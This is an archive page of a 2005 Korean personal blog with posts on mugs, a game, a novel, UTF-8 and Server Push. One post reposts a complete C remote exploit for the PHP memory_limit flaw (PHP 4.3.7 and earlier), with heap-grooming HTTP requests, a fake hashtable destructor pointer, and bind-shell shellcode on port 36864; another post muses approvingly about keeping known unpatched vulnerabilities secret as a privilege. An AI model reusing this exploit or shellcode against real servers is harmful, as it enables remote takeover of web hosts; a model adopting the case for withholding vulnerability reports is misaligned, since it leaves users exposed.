'분류 전체보기'에 해당되는 글 263건

  1. 2005.11.25 새로운 머그컵 ㅋ 4
  2. 2005.11.22 마비노기 마우스 아이콘 2
  3. 2005.11.21 머그잔의 따스함 6
  4. 2005.11.20 지식의 충격과 신의 죽음 4
  5. 2005.11.17 새로움 2
  6. 2005.11.17 머그컵 4
  7. 2005.11.16 W.S. #01 4
  8. 2005.11.15 UTF-8
  9. 2005.11.15 PHP memory_limit Exploit Code
  10. 2005.11.15 Server Push
2005. 11. 25. 03:10
부록1: 어릴적 할머니가 들려주신 옛전설 - HanStone (Mabinogi OST)




오늘도 좋은하루♡



새로 구입한 나오님 머그컵이당.. // 리블머그컵따위 잊은지오래-_-;;

으흠 이미지를 돈과 함께 보내면 머그컵에 이미지를 찍어준다.

거기서 대략 3만원에 가까운 금액을 치루고 구입한 머그컵

두개가 한쌍이였으니까 한개면 대충 만원 중반쯤인가.. '-'aa // 은근비싸당

그래도 이미지도 생각보다는 깔끔히 찍혔고 배송도 빨리와서 대만족 '-'ㅋ


휴우~ 다 좋은데.. 너무 좋아서.. 이거 아까워서 어디 쓰겠나?

그냥 그저 바라만 보고 있다 '-';; // 관상용 머그컵이다; -_-;;

딱한번 차가운 녹차 한잔를 마셨는데 그맛을 잊을 수가 없다.. ㅋ

하지만 그저 바라만 보는 것으로도 행복한 나오컵이기에..

특별한 일이 없을때에는 아직까지는 리블머그컵을 사용하고;

그리고 이 머그컵은 책상 잘보이는 곳에다 놓고 보기만 한당ㅋ

정말 왠지 특별한 날에만 쓰는중이지ㅋㅋ // 아직 사용 횟수 1회 '-'

부록2: 뒷면 -_-aa

'Privacy > Real' 카테고리의 다른 글

Cyber Synth 키보드  (2) 2005.11.25
I'm Azki"  (2) 2005.11.25
머그잔의 따스함  (6) 2005.11.21
지식의 충격과 신의 죽음  (4) 2005.11.20
새로움  (2) 2005.11.17
Posted by 아즈키
2005. 11. 22. 09:39
얼마전부터 쓰고 있는 마비노기 마우스 아이콘.

평범하고, 꽤 좋다



밑에는 내가 쓰는 마우스 아이콘 중에 5개 샘플ㅋ

'Hobby > Mabinogi' 카테고리의 다른 글

바올 던전 다녀옴  (2) 2005.12.06
여자 검 정령 무기 먹거리  (3) 2005.12.06
목적?  (6) 2005.11.14
그분...  (2) 2005.11.13
아 졸라게 잼겠다 -_-  (4) 2005.10.27
Posted by 아즈키
2005. 11. 21. 13:28
얼마전에 구입하였던 리블 머그잔의 현재 모습.


요새 난 뜨거운 물을 가득 담아서 녹차 티백 두개정도 넣는걸 즐긴다

이것이 내 또 하나의 즐거움이 되었다.

따뜻한 머그잔을 손에 움켜지고 있으면..

차가운 내 손이 녹으며, 차가운 내 감정까지 녹아 드는듯 하다.

세상이 추운 겨울이기 때문에..

내 마음도 너무나 춥기 때문에..

난 따스함을-머그잔의 이런 작은 따스함 조차도- 사랑해버릴 수 밖에 없다.

'Privacy > Real' 카테고리의 다른 글

I'm Azki"  (2) 2005.11.25
새로운 머그컵 ㅋ  (4) 2005.11.25
지식의 충격과 신의 죽음  (4) 2005.11.20
새로움  (2) 2005.11.17
머그컵  (4) 2005.11.17
Posted by 아즈키
2005. 11. 20. 09:28


베르나르 베르베르의 '수의 신비'라는 작품을 읽었다

현재의 나는 14정도의 수까지 셀줄 알고 있었다

물론, 보통 말하는 '하나,둘..' 센다는 의미는 아니다

보통의 사람들의 표현으로 말하자면,

내겐 14까지의 숫자에 대한 의미가(나만의 의미) 있다는 것이다.


나는 언제나 구속 받고 있었다 숫자와 숫자의 의미에 대해서..

지나치는 숫자를 볼 때 마다 나는 미래를 점치고, 과거를 평가한다.

습관된 나의 버릇은 나를 구속하였다..

이렇게 글을 쓸 때에도 글자 수의 조화를 위하여 신경을 썼고, (물론 지금은 그렇지 않다)

매우 적당한 단어가 있다 하더라도, 글자 수의 조화를 위해 다른 단어로 대체하였다

또한, 지하철 승강장의 번호를 맞추기 위해서 걸어야 했다

그리고 시계의 숫자가 마음에 들지 않았을 경우의 나에겐 기다림이 필요하였다 무의미한...


그 작품은 나에게 커다란 충격이 되었다

주인공이 수와 숫자의 의미를 깨달은 순간.

나도 그 순간의 주인공과도 같이 나는 큰 패닉에 빠져버렸다

한번에 감당하기에 너무나 많고 너무나 빨리 전해진 지식과도 같았다

물론, 몰랐던 것은 아니다 다만 믿고 싶지 않았던 것이지

알고 있었지만, 믿고 싶지 않았던 사실을 직접 눈으로 보고말았지..

순간 머리가 어질어질하였다..


우물속에서 평생을 살다 나온 개구리처럼,

까만벽과 작고 동그란 파란 하늘뿐이였던 곳에서 나왔다.

모든 것들을 알고 있다고 자만했던 자신의 세계가 깨져버렸다..

그동안 믿어왔던 '작고 동그란' 신의 진실을 알게 되었다..

의지할 곳을 잃게 되었지만, 나는 진실을 알게 되었고,

이제는 진실과 맞서 싸울 수 있게 된 것에 대해 기쁨을 느낀다..

나는 잔인한 미소를 지으며 속삭인다...


"오늘로써 또 하나의 신이 죽었다..".. 라고.

'Privacy > Real' 카테고리의 다른 글

새로운 머그컵 ㅋ  (4) 2005.11.25
머그잔의 따스함  (6) 2005.11.21
새로움  (2) 2005.11.17
머그컵  (4) 2005.11.17
# - 2k05.11.14  (2) 2005.11.14
Posted by 아즈키
2005. 11. 17. 20:51




새로운 일기장을 구입하였다

사실 그냥 건망증 때문에 쓰는 용도였지만

결국 일기장으로 변신하였다 -_-;;

블로그보다 더욱 진솔한 더욱 추악한 오만한 글들이 적힌 일기장이다

이전의 일기장보다 더욱 비밀스럽게 더욱 진솔할꺼다

역시 새로운 시작이란건 두근두근하구나

두근두근함.. 잊지 말도록 적어놓아야겠다 '-'

'Privacy > Real' 카테고리의 다른 글

머그잔의 따스함  (6) 2005.11.21
지식의 충격과 신의 죽음  (4) 2005.11.20
머그컵  (4) 2005.11.17
# - 2k05.11.14  (2) 2005.11.14
위대한 캣츠비  (0) 2005.11.14
Posted by 아즈키
2005. 11. 17. 14:43

어쩌다 눈에 띄여 사버린 3000원짜리 머그컵 '-'

색상도 박힌 글씨도 은근 여러가지였는데

난 역시 리블-_-.. 암튼 리블로 골라버렸다..



'Privacy > Real' 카테고리의 다른 글

지식의 충격과 신의 죽음  (4) 2005.11.20
새로움  (2) 2005.11.17
# - 2k05.11.14  (2) 2005.11.14
위대한 캣츠비  (0) 2005.11.14
azki's personality #11  (0) 2005.11.14
Posted by 아즈키
2005. 11. 16. 19:35
W.S. #01

첫번째 이야기다.

생각이 나는대로 쓰기에 역시 두서도 없고 별것도없다 진짜로

어차피 자기만족이기에 -_-.. 아무튼 시작한다 첫번째..


이야기의 시작은 비밀?들의 존재다..

작성자(프로그래머)에게 보고를 하면 바로 패치가 될텐데..

그리고 많은 사람들의 사생활이 보호되고, 크래킹의 피해를 줄일 수 있을테지만..

이러한 비밀들은 적어도 수십명이 알고 있지만, 패치를 위해 공개되지 않았다..

물론, 그들은 올바른 정신의 소유자들이며, 이것을 악용하지 않는다고 난 믿고있다.

어째뜬 나를 포함한 그들 모두는 공유하고 있는 이 비밀들을 아직 지키고있다

그것이 올바르게 보이는 그들의 정신에 위배되는 것이지만 말이다


이점에 대해 변명하자면 하나는 소유권의 문제다..

그렇다 나를 포함한 많은 사람들은 이 것들을 스스로 알아내진 않았다

적어도 몇개의 비밀들은 공유등을 통해서 알게 되었다..

그래서 스스로는 이것에 대해 자격이 없음을 느낀다..

이것은 한사람만의 것도 아닌 것이고, 게다가 한사람을 꼽는다 해도 자신은 아니기 때문에..


또 하나는 비밀에 대한 책임감이다

자신이 마치 고대 비밀의 수호자라도 된듯 비밀을 지키고있다

그동안 지켜왔던 비밀에 대한 관습적 행동.

하지만 진심으로 생각건대 비밀의 누설은 모두에게 미안한 일이 맞다.

그리고 미안한걸 떠나서 그것에 대한 책임의 결과는 앞으로 얻게될 비밀과도 연관된다.


그리고 마지막으로 생각 나는 단어는 자존심

인간은 본질적으로 특권을 갖고 싶어한다. 특권의 자존심이다..

비밀이 그들에겐 하나의 특권이 되고, 이 비밀의 특성상 특권적인 행동을 취할수도 있다.

그리고 몇몇의 꽤 비밀스러운 비밀은 그 자체로 자존심이 되기도 한다.

비밀을 알고 있는 그들을 동경해주는 누군가가 있기 때문에 더욱 숨기게된다


결론은 역시 자기, 자신을 위한 것이란 것이다.. 모든 것이 그렇듯..

비밀의 소유권이나 책임감보다는 말이다.. // 사실 그건 그렇게 중요하지도 않다-_-

나역시 누려왔던 특권들을 버리지 못하고있다 아직도.. '-'

'Hobby > Computer' 카테고리의 다른 글

linux command  (4) 2006.05.15
프로그래머만 이해하는 말들 -_-  (1) 2006.04.14
UTF-8  (0) 2005.11.15
PHP memory_limit Exploit Code  (0) 2005.11.15
Server Push  (0) 2005.11.15
Posted by 아즈키
2005. 11. 15. 12:19
UTF-8은 모든 Unicode 문자를 1바이트에서 4바이트까지 가변폭 바이트 스트림으로 인코딩한다.
6바이트가 아님. ISO JTC1/SC2/WG2는 공식적으로 ISO 10646에서 UTF-16으로 표현 가능한 상한선인 U+10FFFF를 넘는 범위에 문자를 배정하지 않으리라고 결정했고, Unicode Technical Committee는 그에 앞서 같은 결정을 내렸다.


하나의 Unicode 문자를 몇 바이트로 인코딩할지는 해당 글자에 할당된 코드값 (Unicode Scalar Value)에 따라 결정할 수 있다. U+007F까지는 1 바이트, U+0080에서 U+07FF까지는 2 바이트, U+0800에서 U+FFFF까지는 3 바이트, U+10000에서 U+10FFFF까지는 4 바이트를 쓴다. 따라서 US-ASCII에 속하는 문자는 U+0000 (NULL)을 포함해서 UTF-8에서는 한 바이트로 표현할 수 있다. 이 특성은 US-ASCII와 호환성을 유지해야 하는 유닉스 파일 시스템1, SMTP (인터넷 메일)를 비롯한 텍스트 기반인 여러 인터넷 프로토콜에서 쓰기에 적합하다.

Unicode를 인코딩하는 방법으로는 UTF-7, UTF-8, UTF-16, UTF-32 등 여러 가지 방법이 있다.
TeX에서는 주로 UTF-8을 사용하는데, CJK 문자는 U+0800 이후에 할당되어 있으므로 UTF-8에서 3 바이트를 써서 나타내야 한다. 반면에 UTF-16을 쓸 경우에는 CJK 글자를 포함해서 모든 BMP (Basic Multilingual Plane : Unicode 중 처음 65,536 코드 포인트)에 속하는 글자는 2 바이트로 나타낸다. 이런 이유로 UTF-16을 선호하는 경우가 있으나 (UTF-8이 UTF-16에 비해 최대 1.5배 더 많은 저장 공간/송신 시간을 요하므로) US-ASCII와의 호환성은 많은 경우에 대단히 중요하므로, Unix(Mac OS X)와 ?BeOS 등은 텍스트 형식과 그와 유사한 형식에서 UTF-8을 주로 쓴다. 같은 이유로 TeX/Omega에서도 UTF-8을 주로 쓴다. 반면에 Win32에서는 텍스트 문서 형식도 기본으로는 UTF-16을 사용한다.


텍스트 형식과 OS나 프로그램 혹은 라이브러리 내부에서 어떤 인코딩을 쓰느냐는 별개의 문제이다. Linux glibc는 UTF-32를 쓰고, Mac OS X, Win32, Omega, ICU (International Component for Unicode), Java, ECMAscript2, Mozilla 등은 UTF-16을 쓰고, ?BeOS, glib, Perl 등은 UTF-8을 쓴다. Python은 UTF-32 혹은 UCS-2 (2byte 혹은 4byte를 쓰는 가변폭 인코딩인 UTF-16과 달리 UCS-2는 2byte 고정폭 인코딩으로 오직 BMP만 지원할 수 있다.)를 쓰도록 컴파일할 수 있다.
UTF-32는 가변폭 인코딩인 UTF-16을 다루는데서 오는 불편함3을 피할 수 있는 반면에 UTF-8에 비해 최대 4배의 공간(US-ASCII에 속하는 글자라면)을, UTF-16에 비해서도 최대 2배 (BMP에 속하는 글자의 경우)의 공간을 쓴다는 단점이 있다.

IETF RFC :
http://www.cse.ohio-state.edu/cgi-bin/rfc/rfc2279.html

UTF-8, UTF-16, UTF-32 & BOM :
http://www.unicode.org/unicode/faq/utf_bom.html


옛날엔 UTF-8은 1byte or 3byte 인줄 알았는데 -_-;;

'Hobby > Computer' 카테고리의 다른 글

프로그래머만 이해하는 말들 -_-  (1) 2006.04.14
W.S. #01  (4) 2005.11.16
PHP memory_limit Exploit Code  (0) 2005.11.15
Server Push  (0) 2005.11.15
Zeroboard 4.x "preg_replace" Remote Command Execution Exploit  (2) 2005.11.15
Posted by 아즈키
2005. 11. 15. 11:15
Vulnerable Systems:
 * PHP 4 version 4.3.7 and prior
 * PHP 5 version 5.0RC3 and prior

Exploit:
/* Remote exploit for the php memory_limit vulnerability found by Stefan
 * Esser in php 4 (<= 4.3.7) and php 5 (<= 5.0.0RC3).
 *
 * by Gyan Chawdhary (gunnu45@hotmail.com)
 * (felinemenace.org/~gyan)
 *
 * Greets
 * S.Esser for the vuln and mlxdebug.tgz, everything in the code is based on it.
 * scrippie, gera, riq, jaguar, girish, n2n ...
 *
 * Vulnerability:
 * The issue is well documented in the advisory.
 *
 * Exploitation:
 * I cud not find a generic way to free a 40 byte chunk which could be later
 * used by ALLOC_HASHTABLE. The exploit will construct a fake zend hash table
 * which will be sent in the first request. The second request will kick in the
 * memory interuption after allocating space for the hashtable and before it is
 * initalized. The memory it will use for this allocation will contain the data
 * from our previous request which includes the pDestructor pointer pointing to
 * our nop+shellcode which is a part of the second request. This happens in the
 * zend_hash_destory function.
 *
 * PS - The exploit is ugly, coded to test the vuln. If anyone knows the trick
 * for 40 byte free() then plz drop me a mail. Tested on RH 8 php 4.3.7,
 * Apache 2.0.49 with register_globals = On
 *
 * Gyan
 *
 *
 */

#include <stdio.h>
#include <string.h>
#include <unistd.h>

#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>

#define IP "127.0.0.1"
#define PORT 80
int sock;
struct sockaddr_in s;

char request1[]=
"POST /info.php?a[1]=test HTTP/1.0"
"Host: doesnotreallymatter "
"User-Agent: mlxdebug "
"Accept: text/html "
"Connection: close "
"Pragma: no-cache "
"Cache-Control: no-cache "
"Content-Type: multipart/form-data; boundary=------------ BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB ";

char request2[]=
"---------------264122487026375 "
"Content-Length: 472 "
" "
"-----------------------------264122487026375 "
"Content-Disposition: form-data; name="a[][]" "
" "
"TESTTESTTESTTESTTESTTESTTESTTESTTESTTES "
" "
"-----------------------------264122487026375-- ";

char request3[]=
"POST /info.php?a[1]=test HTTP/1.0"
"Host: doesnotreallymatter "
"User-Agent: mlxdebug "
"Accept: text/html "
"Connection: close "
"Pragma: no-cache "
"Cache-Control: no-cache "
"Content-Type: multipart/form-data; boundary=-------------";

char request4[]=
"---------------264122487026375 "
"Content-Length: 472 "
" "
"-----------------------------264122487026375 "
"Content-Disposition: form-data; name="a[][]" "
" "
"TESTTESTTESTTESTTESTTESTTESTTESTTESTTES "
"-----------------------------264122487026375-- ";

/*Ripped shellcode. Runs on port 36864*/
char shell[]=
"xebx72x5ex29xc0x89x46x10x40x89xc3x89x46x0c"
"x40x89x46x08x8dx4ex08xb0x66xcdx80x43xc6x46"
"x10x10x66x89x5ex14x88x46x08x29xc0x89xc2x89"
"x46x18xb0x90x66x89x46x16x8dx4ex14x89x4ex0c"
"x8dx4ex08xb0x66xcdx80x89x5ex0cx43x43xb0x66"
"xcdx80x89x56x0cx89x56x10xb0x66x43xcdx80x86"
"xc3xb0x3fx29xc9xcdx80xb0x3fx41xcdx80xb0x3f"
"x41xcdx80x88x56x07x89x76x0cx87xf3x8dx4bx0c"
"xb0x0bxcdx80xe8x89xffxffxff/bin/sh";


void xp_connect(char *ip)
{
        char buffer[1024];
        char temp[1024];
        int tmp;

        s.sin_family = AF_INET;
        s.sin_port = htons(PORT);
        s.sin_addr.s_addr = inet_addr(ip);

        if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0)
        {
                printf("Cannot create socket ");
                exit(-1);
        }

        if((connect(sock,(struct sockaddr *)&s,sizeof(struct sockaddr))) < 0)
        {
                printf("Cannot connect() ");
                exit(-1);
        }
}

void xp_write(char *data)
{

        if(write (sock, data, strlen(data)) < 0)
        {
         printf("write() failed ");
         exit(-1);
        }
}

void xp_receive()
{
        int tmp;
        char buffer[1024*2];
 
  if ( (tmp = read(sock, buffer, sizeof(buffer))) <= 0)
        {
               printf("read() failed ");
               exit(-1);
        }
}

char fill[] = " %s ";

/*This function builds the main request. In destroy_uploaded_files_hash we
 * need to pass zend_hash_apply to reach zend_hash_destroy.
 * We set
 * 1) ht->nApplyCount to 0x02020202 to pass HASH_PROTECT_RECURSION
 * 2) p->pListNext = 0x00000000 to exit out of zend_hash_apply
 * 3) ht->pDestructor = addr to nop+shellcode
 * 0x402c22bc <zend_hash_destroy+184>: sub $0xc,%esp
 * 0x402c22bf <zend_hash_destroy+187>: pushl 0x8(%esi)
 * 0x402c22c2 <zend_hash_destroy+190>: call *%eax
 * 0x402c22c4 <zend_hash_destroy+192>: add $0x10,%esp
 *
 * $eax = ht->pDestructor
 */

void build1(int size, int count)
{
         char *p1, *p2;
         char *b1, *b2;
         int i;
  int pot = 0xffffffff;
  int got = 0x41414141;
  int bot = 0x0818ef29; //0x0818ef78;//0x08189870; //0x402b6c08;
  int sot = 0x02020202;
  int ret = 0x081887a8;

  b1 = (char *)malloc(size-8);
                p1 = b1;

  for (i=0; i<size-8; i+=36)
  {
  *( (int **)p1 ) = (int *)( pot );
  p1+=4;
  *( (int **)p1 ) = (int *)( got );
  p1+=4;
  *( (int **)p1 ) = (int *)( bot );
  p1+=4;
  *( (int **)p1 ) = (int *)( ret );
                p1+=4;
                *( (int **)p1 ) = (int *)( bot );
                p1+=4;
  *( (int **)p1 ) = (int *)( got );
         p1+=4;
         *( (int **)p1 ) = (int *)( bot );
         p1+=4;
  *( (int **)p1 ) = (int *)( sot );
  p1+=4;
  }

         b2 = (char *)malloc(size+1);
         p2 = b2;

  sprintf(p2, fill, b1);

         for(i=0; i<count; i++)
                xp_write(b2);
}

/*Test function for resetting php memory , does not work properly with
 * php_normalize_heap function */
void build2(int size, int count)
{
               char *p1, *p2;
               char *b1, *b2;
               int i;
               b1 = (char *)malloc(size-8);
               p1 = b1;
               memset(p1, 'x42', size-8);
               b2 = (char *)malloc(size+1);
               p2 = b2;
               sprintf(p2, fill, b1);
               for(i=0; i<count; i++)
               xp_write(b2);
}

/*TODO*/
char *php_normalize_heap()
{
 return;
}

/*Builds our shellcode with NOP's and the mem interuption request*/

void build3(int size, int count)
{
               char *p1, *p2;
               char *b1, *b2;
               int i;
               int pot = 0x90909090;

        b1 = (char *)malloc(size-8);
               p1 = b1;
  
          for (i=0; i<size-8-strlen(shell); i+=4) {
         *( (int **)p1 ) = (int *)( pot );
                 p1+=4;
                }
   p1 = b1;

  p1+= size - 8 - strlen(shell);
  strncpy(p1, shell, strlen(shell));
              
               b2 = (char *)malloc(size+1);
               p2 = b2;

                sprintf(p2, fill, b1);

                for(i=0; i<count; i++)
                 xp_write(b2);
       }
        


void exploit()
{

 int i;
 
 printf("Stage 1: Filling mem with bad pdestructor ... ");
 for (i=0; i< 5; i++)
 {
        xp_connect(IP);
            xp_write(request1);
             build1(5000, 1);
             xp_write(request2);
      close(sock);
 }
 printf("DONE ");
 printf("Stage 2: Triggering memory_limit now ... ");
  
 xp_connect(IP);
        xp_write(request3);
        build3(8192, 255);
        build3(7265, 1);
        xp_write(request4);
 printf("DONE ");
 printf("Shell on port 36864 ");
 
}

main()
{
 /*No args, no vectors*/
 exploit();
}

/*
 * Using [][][][] arry its possible to exhaust mem for 1.3.* servers and
 *trigger memlimit in _zval_copy_ctor after ALLOC_HASHTABLE
 *
 *
[root@localhost stuff]# ./cool
Stage 1: Filling mem with bad pdestructor ... DONE
Stage 2: Triggering mem_limit now ... DONE
Shell on port 36864
[root@localhost stuff]# telnet 127.0.0.1 36864
Trying 127.0.0.1...
Connected to localhost.localdomain (127.0.0.1).
Escape character is '^]'.
id;
uid=99(nobody) gid=4294967295 groups=4294967295
uname -a;
Linux localhost.localdomain 2.4.18-14 #1 Wed Sep 4 13:35:50 EDT 2002 i686 i686 i386 GNU/Linux
*/

'Hobby > Computer' 카테고리의 다른 글

W.S. #01  (4) 2005.11.16
UTF-8  (0) 2005.11.15
Server Push  (0) 2005.11.15
Zeroboard 4.x "preg_replace" Remote Command Execution Exploit  (2) 2005.11.15
Internet Explorer 'mshtmled.dll' 6.0 Denial Of Service  (0) 2005.11.15
Posted by 아즈키
2005. 11. 15. 10:35
1995년 네스케잎사의 몇몇 사람들이 multipart/mixed MIME 형식을 조작해서 웹에서 애니메이션을 표현할 수 있는 방법을 생각해 냈는데, 이 것이 서버푸쉬이다. 이 새로운 MIME 형식은 multipart/x-mixed-replace이다. x는 이것이 공식적인 MIME 명세가 아닌 추가적인 형식이라는 것을 의미한다. 이 MIME의 핵심은 replace 부분이다.

즉, 이것은 많은 형식을 가진 하나의 메시지가 아니라, 모두 같은 형식을 가진 많은 분리된 메시지라는 것을 의미하며, 하나의 메시지는 다음 메시지로 대치(replace)된다는 것을 의미한다.

예를들어 gif 이미지와 같은 것을 이 MIME 형식에 적용하면 하나의 GIF를 표시하고 다음에 다른 GIF가 그것을 대치하고 계속해서 여러 개의 GIF 파일을 이와 같은 방법으로 대치할 수 있으며, 이것으로서 간단한 애니메이션을 웹에 구현할 수 있다.

서버푸쉬는 웹에 간단한 애니메이션을 나타내기위해서 처음으로 사용한 방법이지만 네트웍의 속도와 다른 여러 가지 이유 때문에 부드러운 애니메이션을 구현하기 힘들다.

더욱이 오늘날에는 자바와 GIF89a의 등장으로 애니메이션을 구현하기위한 서버 푸쉬로서의 의미는 잃었지만 클라이언트와의 연결을 유지하면서 서버측의 정보를 전송할 수 있기 때문에 아직도 많은 곳에서 사용된다.

동작원리

multipart/x-mixed-replace MIME 형식은 다음과 같은 형식을 갖지며, CGI가 다음과 같은 형식의 문서를 출력하면 서버 푸쉬를 지원하는 서버는 이 CGI의 출력을 여러개의 문서로 처리해 준다.

1: Content-type: multipart/x-mixed-replace;boundary=TestBoundary
2:
3: --TestBoundary
4: Content-type: text/plain
5:
6: first document
7:
8: --TestBoundary
9: Content-type: text/html
10:
11: <html>
12: <body>
13: second document
14: </body>
15: </html>
16:
17: --TestBoundary--

multipart/x-mixed-replace
"multipart"는 MIME 형식중 복합문서를, "x-mixed-replace"는 복합문서중에서도 서버 밀기에 이용되는 문서형식임을 나타낸다. 앞의 "x-"는 아직 정식으로 표준화되지 않은 형식임을 나타낸다.

boundary
복합문서내의 각 문서들을 구별하는 분리자(delimeter)를 지정한다. 이 분리자는 문서내에 나타나지 않는 문자열을 이용하여야 한다. NCSA HTTPD에서는 boundary앞에 공백이 오면 안된다.

--boundary
분리자 앞에 "--"를 덧붙여서 다음 문서의 시작을 표시한다.

--boundary--
분리자의 앞뒤에 --를 덧붙여서 문서의 끝은 나타낸다.

간단한 예

다음은 1~50까지 숫자를 카운트하는 프로그램이다. CGI의 출력이 시스템 버퍼를 경유하지 않도록 $!=1;을 사용하였다.
또한 정확히 지정한 시간 후에 출력이 되도록 select 함수를 이용해서 delay 함수를 구현하였다.

1 : #! /usr/local/bin/perl
2 : $| = 1;
3 : print "content-type: multipart/x-mixed-replace;boundary=aaa ";
4 : for($i = 1; $i <= 50; $i++)
5 : {
6 : print "--aaa ";
7 : print "content-type: text/html ";
8 : print &html($i);
9 : &delay(1);
10 : }
11 : print "--aaa-- ";
12 :
13 : sub html {
14 : my($i) = @_;
15 : my($html) =<<Push;
16 : <html>
17 : <body>
18 : <head>
19 : <title>Server Push예</title>
20 : </head>
21 : <body>
22 : <span style="font-size: ${i}0px;color: #${i}0${i}0${i}0;
text-align: center"> $i</span>
23 : </body>
24 : </html>
25 : Push
26 : }
27 : sub delay {
28 : select (undef,undef,undef,$_[0]);
29 : return;
30 : }


몇년 전 서비스화 하다가 3번인가 실패한적이 있는 서버 푸쉬.
내 짧은 인생의 몇 안되는 실패작이 서버 푸쉬로 부터 나왔다..
기술 자체는 매우 쉽지만, 클라이언트 끼리 통신 부분이 어려웠었다
나름대로의 내게 교훈을 줬던 기술이였다
아직까지도 내게 남아있는 숙제이기도하다 '-'.. // 언제할려나-_-

'Hobby > Computer' 카테고리의 다른 글

UTF-8  (0) 2005.11.15
PHP memory_limit Exploit Code  (0) 2005.11.15
Zeroboard 4.x "preg_replace" Remote Command Execution Exploit  (2) 2005.11.15
Internet Explorer 'mshtmled.dll' 6.0 Denial Of Service  (0) 2005.11.15
Yahoo Webmail Vulnerabilty  (0) 2005.11.15
Posted by 아즈키